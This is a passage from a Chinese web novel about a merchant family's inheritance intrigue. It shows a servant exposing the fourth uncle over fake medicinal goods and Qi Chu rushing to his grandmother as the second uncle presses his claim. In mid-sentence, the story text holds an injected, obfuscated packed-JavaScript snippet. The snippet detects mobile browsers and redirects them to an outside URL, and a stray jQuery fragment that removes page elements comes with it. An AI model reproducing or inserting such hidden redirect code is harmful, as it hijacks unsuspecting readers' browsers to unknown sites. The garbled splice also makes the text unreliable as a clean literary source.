柒奺没见过她，可他却早已见过了柒奺。那晚柒奺的脸庞又浮现在他眼前，他喉头一动，忙收回目光。 柒奺却对他这反应有些摸不着头脑。可是祈楚口口声声说，近几月都在家中养病，她也顾不得方才“郎君虽早夭”的话，只得硬着头皮走到祈楚身边，微微欠身说了句： “……郎君，你、你来了。” “郎君”二字说出口，柒奺已是连脚指头都攥紧了，不知为何直控制不住想笑。 “嗯……嗯哼！”祈楚也是尴尬不已，清了清嗓子回道，“娘子，劳你、劳你费心了，你就先歇着吧……替我照顾好母亲。” “嗯。”柒奺忙逃去沈氏身边。 不知为何，祈楚的声音，总令她感到有些熟悉。 奇怪，奇怪……真是怪事年年有，今日尤其多。 祈楚要去看父亲，祈铄却阻止了他，只问道：“楚儿，你说有证据……难不成是那批川贝母？——东西究竟在哪里！” 孙老板也这才回过神来，大步走进厅中，拤起腰瞄着祈楚：“这位就是少东家？白天小娘子才说知道货在何处，领我们大老远跑城北遛了一圈，如今少东家又要再来一出？呵，你们夫妇俩这是遛狗呢，还是放牛呢？” 瓶儿没经住，噗地笑出了声。 旁边的同伴咳嗽两声，孙老板才后知后觉自己太过得意，扔镖插了自己的腚。 “哈哈哈哈……” 祈楚却毫不避讳地朗声大笑，一股子少年意气便恣意地透了出来。 “这次我既不遛狗，也不放牛，而是要逮住这条藏在幕后的狐狸尾巴！告诉你们吧，那批真正的川贝母，我已经找着了。那批货，原本的确是存放在北门外的荒屋里，如今已被转移安置妥当，众位随我去一探便知。” “什么？”柒奺简直难以置信。 扈掌柜也震惊地问道：“是郎君将货移走了？” 孙老板等人正要大笑，祈楚却说道：“当然不是我，是这背后的苦主，担心这近千石真货被人发现，昨日连夜将这批货转移了。” 柒奺松了口气。 要真是祈楚干出了这档子没脑子的事，她定要当场给他一个大耳刮子。 “——南山！” 祈楚朝门厅外喊了一声，平南山手里拎着个小厮打扮的人，大摇大摆地走了进来。 祈炜一眼便认出了他：“这是……二哥家里的福贵？” 24. 金老夫人 福贵一开始畏畏缩缩不肯向前，平南山踹了他一脚，他向前一扑，登时便受不住了： “四爷……对不起！是我不小心，被他们给逮住了……” 福贵这话一出，满大厅一片哗然，十几双眼睛都望向角落的祈炜。 祈炜本就兜不住了，福贵这番话，吓得他六神无主、连连后退： “你……你胡说什么呢！” 福贵哭道： “各位主君大人，小的招……小的全招了！就是四爷……他几个月前来主君家里，说我办事聪敏，便赏了我好些钱，要我帮他办事……半个月前，他给了我十两银子，让我找几个乡下人搓些和川贝母相似的面粉丸子……我实在不知道他拿这些粉丸子有什么用啊！昨夜，他又叫我去北门外的荒屋，把里面的药材全部搬进四爷家在郊外的仓库，没想到……没想到刚搬完，就被他们给逮住了……” 祈炜气得语无伦次，指着福贵骂道： “我……我若要办这种事，怎么不用我家的人，偏要用你！你……你简直含血喷人！” “福贵不知！事到如今我才明白，四爷……你就是想利用我，将此事嫁祸给我家二爷啊！” “什么？……” 祈炜如同五雷轰顶，一屁股跌坐在地上。 三叔公气得捂住胸口大骂： “祈炜！你这个孽障……竟敢陷害你大哥，还嫁祸给你二哥！竟然还骗我们，说楚儿战死沙场，拿整个祈家的声誉来冒险！我……我祈家怎么会有你这么个不忠不义不孝之徒！” “我、我……不是我，不是我啊！” 近不惑之年的祈炜气得如同小儿，坐在地上捶地甩腿，撒泼打滚。 他怎么能想到，自己一向敬重的亲哥哥、与自己一娘所出的亲哥哥，竟会如此反咬一口，将所有事情都倒在了他的身上！如今，他就算想辩解，说一切都是二哥所为，可对方先发治人，又有谁会信呢？ 二哥啊二哥，你还真是狠……你好狠的心呐！ 祈炜抬起袖子抹抹眼泪，失神地靠在墙角坐着，再也不辩解了。 见此情景，三叔公起身走到祈铄面前，说道：“大郎，事实既是如此，我们……也没什么可说的了。祈炜做出了这等荒唐事，是送官，还是罚银，就由你自行定夺吧。” 孙老板几人终于没了嚣张气焰，垂着头退到一旁。 祈铄晃晃悠悠地站起身，对他们说道： “若你们做事留一线，不将此事闹大了去，或许我还能就此罢休……可你们既已闹得平凉城众人皆知，我祈家名誉受损，还是必须得叫官府查明真相，还我祈家一个公道。” 祈铄看了一眼扈掌柜，扈掌柜会意，叫几位掌柜押着孙老板几人，前去报官。 沈氏晕厥，早已被扶回了房间，柒奺也没有再与祈楚多说什么，亲自扶起祈铄，送他回房休息。祈楚站在厅中，心里却总觉得有什么不妥——虽然孙老板几人都被扣押送官，还有福贵作为人证，郊外的仓库也由何大托几人严密看管着。 这场危机，总算是平安化解了。 可令祈楚意外的是——整件事，二叔竟然可以不沾一指，全身而退。 那他究竟图什么？ 祈家大房并无受损，到最终，倒是二叔的亲生兄弟免不了牢狱之灾。 他筹谋这一切，究竟意义何在？ 祈楚静静立在原地，忍不住又将近几日的事梳理了一番。平南山在一旁拍了他几下，他才瞥见祈铄放在身旁茶凳上的阵亡名册，猛地一拍手道： “糟了……二叔他，竟是打的这个主意！” “什么主意？” “二叔啊二叔，竟将我也一并算进去了！”祈楚震惊感慨，却来不及细说，“恐怕来不及了……不行，如今只能去找他帮忙了！” 祈楚说完，飞快向外跑去。 “哎……你去哪啊！”平南山喊道。 “我需要最快的马！”祈楚说，“南山，这里就交给你了！……” 祈楚座下的汗血宝马，可以日行千里，奔跑如飞。 头顶浓云滚滚，遮蔽了月光。狂风呼啸，似是要下一场大雨。祈楚不断扬鞭，马蹄踏着落叶与泥土，在黑夜中朝着城南外五十里的润闲庄飞奔而去。 润闲庄，便是祈家老夫人——金老夫人养病的地方。 自打老太公去世，祈家家业交到嫡长子祈铄手里，老夫人便抱着牌位离开了平凉城，到这偏远的润闲庄中青灯礼佛，过起了深居简出的日子。只有逢年过节，才会回平凉一趟。 她自始至终，都对祈桓心中有愧，便远离祈家，吃斋念佛，再不问世事。 祈楚一路快马加鞭，马儿四蹄翻飞，他终于还是在润闲庄外，望见了祈桓的马车。风越来越狂烈，祈楚勒住马蹄，换了一条小路，从侧面绕进庄内。 庄内有一座古朴的佛堂，祈楚远远望见佛堂内点着油灯，立刻下马将它牵至后院藏起来，才独身潜进了佛堂内。 劈嚓—— 一道闪电将佛堂瞬间点亮，点亮了慈眉善目的弥勒佛，也点亮了弥勒佛脚下的灵牌。 老夫人一惊，拨动佛珠的手便停了下来。她似是有所感知，撑着膝盖慢慢站起身，朝关闭的大门走去。刚走几步，门便被推开了。 劈嚓—— 又是一道闪电划过，老夫人看清了立在门口的人。 “楚儿？”老夫人吃了一惊，随即哀伤地说道，“楚儿……你是从地下还魂，专程来看你祖母的吗……” 祈楚突然握住老夫人的手，跪在她面前：“对不起祖母，是孙儿骗了你们……孙儿没有死！” 老夫人感受到祈楚温暖有力的手，忽然泪湿了眼眶，连连说道：“好、好……太好了！楚儿，你能全须全尾地回来，真是祖宗保佑啊……” 祈楚却没有时间细说，只是用力捏着老夫人的手，说道： “祖母，二叔马上就要到了，您先听我说……” 大雨哗啦啦地倾泻下来。 祈桓冒着大雨冲进佛堂中时，只看见老夫人仍跪在佛像前面，垂头闭眼，手里一颗颗拨弄着念珠。祈楚躲在佛像背后的窗外，可雨实在太大，他没有办法，只得离开躲进不远处的柴房。 祈桓浑身湿透，见着老夫人，忽然双膝跪下，大喊了一声： “母亲！……” 老夫人身躯一震。 祈桓，已经好久没有喊过她“母亲”了。 祈桓和祈炜的母亲， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538879|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是老太公的妾室，生下祈炜后不到一年，就血枯而死。那时候，作为大娘子的金老夫人，只能将祈桓和祈炜养在自己身边，由自己的丫鬟和嬷嬷带着。 祈桓很小的时候，就开始叫她“母亲”。 不是“大娘子”，而是“母亲”，表明祈桓是真的敬重她这个嫡母，将她当作自己的亲生母亲对待。自己的儿子祈铄从小患有心疾，而祈桓不仅身体健康，且聪慧过人，老夫人也很难不喜欢。 可有一天，她路过祈桓的屋外，竟然听见十五岁的祈桓对祈炜说： “大哥哥从小体弱多病，而我身体素来健康，算账管铺子的事我一学就会，将来母亲若将祈家交给我，一定会比交给大哥哥更好。弟弟你放心，我一定会求母亲将我记在她的名下，等我成了嫡子，就能名正言顺地继承祈家了！……” 从那以后，她便故意对祈桓冷淡。 虽然她也不得不承认，祈桓的确比自己的儿子更聪明，更有手段，也更适合继承祈家。她心里，也早已将祈桓视若己出。 可终归，祈铄才是唯一从她身上掉下来的肉。 她仍清晰地记得，三十年前的那天清晨，祈桓和往常一样，一早便来向她请安。祈桓刚笑着唤了声“母亲”，她便厉声说道： “不许叫我‘母亲’！你不是我所出，而是妾室生的庶子，嫡庶终归有别，往后还是和其他兄弟一样，叫我‘大娘子’吧！” 那天，祈桓呆立在她面前许久，终于缓缓鞠了一躬，哽咽地深鞠一躬： “大娘子……” 那一声“大娘子”和此时此刻的“母亲”一样，令老夫人的心止不住颤抖。 她没有站起身，仍旧跪在蒲团上，语气冰冷地对祈桓说道： “我早就说过，你不是我所出，不许叫我‘母亲’。” “母亲……可您是我的母亲啊！” 祈桓用双膝向前挪了几步，雨水从他额头不断滴落，好似泪水，滴滴落进地上的尘埃里： “我叫您一声‘母亲’，是因为您养育我成人，您曾经爱护我，教导我，我敬您重您，才心甘情愿地叫这一声‘母亲’！母亲，我求您看在整个祈家的份上，不要再执着了！这个……这个您看看吧！” 祈桓跪在老夫人身边，从怀里掏出一只锦盒，双手递给老夫人。 老夫人缓缓放下念珠，从祈桓手里接过锦盒，打开一看，便是那份抄录来的阵亡名册。 “祈楚已经战死沙场了！……母亲，大哥的身体也一日不如一日，大房已经后继无人了！只要母亲答应，将我记在您的名下，我就是您的亲生儿子！母亲，大哥先天身体弱，不宜操劳，他根本没有办法操持祈家如此大的家业！您难道……愿意看着祈家就此落败了吗？” 其实，早在老夫人从沈氏那里得知祈楚阵亡的消息时，就等着祈桓来找他的这一天。 她也打算认命了。 可如今得知祈楚并没有死，她也断不可能给自己的亲孙子，留下被夺走家业的隐患。 老夫人缓缓将锦盒放在郎君的牌位前，却没有看祈桓： “不可能。祈桓，哪怕祈楚阵亡了，可我铄儿还活着。他只要调养好身体，便可以再有子嗣，你就不要痴心妄想了。”